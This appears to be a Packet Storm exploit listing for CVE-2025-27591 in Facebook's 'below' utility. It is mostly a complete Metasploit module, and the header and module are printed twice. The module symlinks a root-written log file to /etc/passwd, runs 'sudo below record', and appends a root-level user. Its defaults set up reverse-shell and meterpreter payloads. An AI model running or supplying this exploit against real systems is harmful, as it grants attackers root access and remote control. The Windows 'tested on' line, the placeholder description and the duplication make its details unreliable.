6.8
/ 10
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Description
This Metasploit module exploits a local privilege escalation vulnerability in the below utility when executed with sudo. This affects versions prior to 0.9.0...
Basic Information
ID
PACKETSTORM:219367
Published
Apr 21, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Below <v0.9.0 sudo Log File Symlink Privilege Escalation Metasploit Local Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/facebookincubator/below |
==================================================================================================================================
[+] Summary : This Metasploit local privilege escalation module targets a vulnerability in the below utility when executed with sudo, identified as CVE-2025-27591.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'below sudo Log File Symlink Privilege Escalation',
'Description' => %q{
Vulnerability module description (unchanged).
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-27591']
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Linux (Command)',
{
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-01'
)
)
register_options([
OptString.new('LOG_DIR', [true, 'below log directory', '/var/log/below']),
OptString.new('LOG_FILE', [true, 'below error log file', 'error_root.log']),
OptString.new('NEW_USERNAME', [true, 'Username to add', 'metasploit_user']),
OptBool.new('CLEANUP', [true, 'Cleanup', true])
])
register_advanced_options([
OptBool.new('WritableCheck', [true, 'Check writable', true]),
OptInt.new('SudoTimeout', [true, 'Timeout', 30])
])
end
def check
print_status("Checking prerequisites...")
below_path = cmd_exec("which below 2>/dev/null").to_s.strip
return Exploit::CheckCode::Safe("below not found") if below_path.empty?
print_good("below found")
sudo_check = cmd_exec("sudo -l 2>/dev/null | grep -E 'below|ALL'").to_s.strip
return Exploit::CheckCode::Safe("no sudo access") if sudo_check.empty?
print_good("sudo access confirmed")
if datastore['WritableCheck']
log_dir = datastore['LOG_DIR']
writable = cmd_exec("test -w #{log_dir} && echo 1 || echo 0").to_s.strip
return Exploit::CheckCode::Safe("not writable") if writable != "1"
print_good("log dir writable")
end
Exploit::CheckCode::Vulnerable
end
def exploit
print_status("CVE-2025-27591 exploit running...")
print_status("User: #{cmd_exec('whoami').to_s.strip}")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "Not vulnerable")
end
new_username = datastore['NEW_USERNAME']
payload_entry = "#{new_username}:x:0:0:#{new_username}:/root:/bin/bash\n"
log_dir = datastore['LOG_DIR']
log_file = "#{log_dir}/#{datastore['LOG_FILE']}"
target_file = "/etc/passwd"
tmp_payload = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
write_file(tmp_payload, payload_entry)
register_file_for_cleanup(tmp_payload)
cmd_exec("mkdir -p #{log_dir}") unless directory_exists?(log_dir)
cmd_exec("chmod 777 #{log_dir} 2>/dev/null") unless writable?(log_dir)
cmd_exec("rm -f #{log_file}") if file_exists?(log_file)
cmd_exec("ln -sf #{target_file} #{log_file}")
print_status("Triggering sudo below record...")
cmd_exec("timeout #{datastore['SudoTimeout']} sudo /usr/bin/below record 2>&1")
cmd_exec("echo '#{payload_entry.strip}' >> #{log_file} 2>/dev/null")
verify = cmd_exec("grep -c '^#{new_username}:' /etc/passwd").to_s.strip
fail_with(Failure::UnexpectedReply, "User not added") if verify == "0"
print_good("User added successfully")
handler if target['Type'] == :linux_cmd
end
def directory_exists?(path)
cmd_exec("test -d #{path} && echo 1 || echo 0").to_s.strip == "1"
end
def file_exists?(path)
cmd_exec("test -f #{path} && echo 1 || echo 0").to_s.strip == "1"
end
def writable?(path)
cmd_exec("test -w #{path} && echo 1 || echo 0").to_s.strip == "1"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Below <v0.9.0 sudo Log File Symlink Privilege Escalation Metasploit Local Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/facebookincubator/below |
==================================================================================================================================
[+] Summary : This Metasploit local privilege escalation module targets a vulnerability in the below utility when executed with sudo, identified as CVE-2025-27591.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'below sudo Log File Symlink Privilege Escalation',
'Description' => %q{
Vulnerability module description (unchanged).
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-27591']
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Linux (Command)',
{
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-01'
)
)
register_options([
OptString.new('LOG_DIR', [true, 'below log directory', '/var/log/below']),
OptString.new('LOG_FILE', [true, 'below error log file', 'error_root.log']),
OptString.new('NEW_USERNAME', [true, 'Username to add', 'metasploit_user']),
OptBool.new('CLEANUP', [true, 'Cleanup', true])
])
register_advanced_options([
OptBool.new('WritableCheck', [true, 'Check writable', true]),
OptInt.new('SudoTimeout', [true, 'Timeout', 30])
])
end
def check
print_status("Checking prerequisites...")
below_path = cmd_exec("which below 2>/dev/null").to_s.strip
return Exploit::CheckCode::Safe("below not found") if below_path.empty?
print_good("below found")
sudo_check = cmd_exec("sudo -l 2>/dev/null | grep -E 'below|ALL'").to_s.strip
return Exploit::CheckCode::Safe("no sudo access") if sudo_check.empty?
print_good("sudo access confirmed")
if datastore['WritableCheck']
log_dir = datastore['LOG_DIR']
writable = cmd_exec("test -w #{log_dir} && echo 1 || echo 0").to_s.strip
return Exploit::CheckCode::Safe("not writable") if writable != "1"
print_good("log dir writable")
end
Exploit::CheckCode::Vulnerable
end
def exploit
print_status("CVE-2025-27591 exploit running...")
print_status("User: #{cmd_exec('whoami').to_s.strip}")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "Not vulnerable")
end
new_username = datastore['NEW_USERNAME']
payload_entry = "#{new_username}:x:0:0:#{new_username}:/root:/bin/bash\n"
log_dir = datastore['LOG_DIR']
log_file = "#{log_dir}/#{datastore['LOG_FILE']}"
target_file = "/etc/passwd"
tmp_payload = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
write_file(tmp_payload, payload_entry)
register_file_for_cleanup(tmp_payload)
cmd_exec("mkdir -p #{log_dir}") unless directory_exists?(log_dir)
cmd_exec("chmod 777 #{log_dir} 2>/dev/null") unless writable?(log_dir)
cmd_exec("rm -f #{log_file}") if file_exists?(log_file)
cmd_exec("ln -sf #{target_file} #{log_file}")
print_status("Triggering sudo below record...")
cmd_exec("timeout #{datastore['SudoTimeout']} sudo /usr/bin/below record 2>&1")
cmd_exec("echo '#{payload_entry.strip}' >> #{log_file} 2>/dev/null")
verify = cmd_exec("grep -c '^#{new_username}:' /etc/passwd").to_s.strip
fail_with(Failure::UnexpectedReply, "User not added") if verify == "0"
print_good("User added successfully")
handler if target['Type'] == :linux_cmd
end
def directory_exists?(path)
cmd_exec("test -d #{path} && echo 1 || echo 0").to_s.strip == "1"
end
def file_exists?(path)
cmd_exec("test -f #{path} && echo 1 || echo 0").to_s.strip == "1"
end
def writable?(path)
cmd_exec("test -w #{path} && echo 1 || echo 0").to_s.strip == "1"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================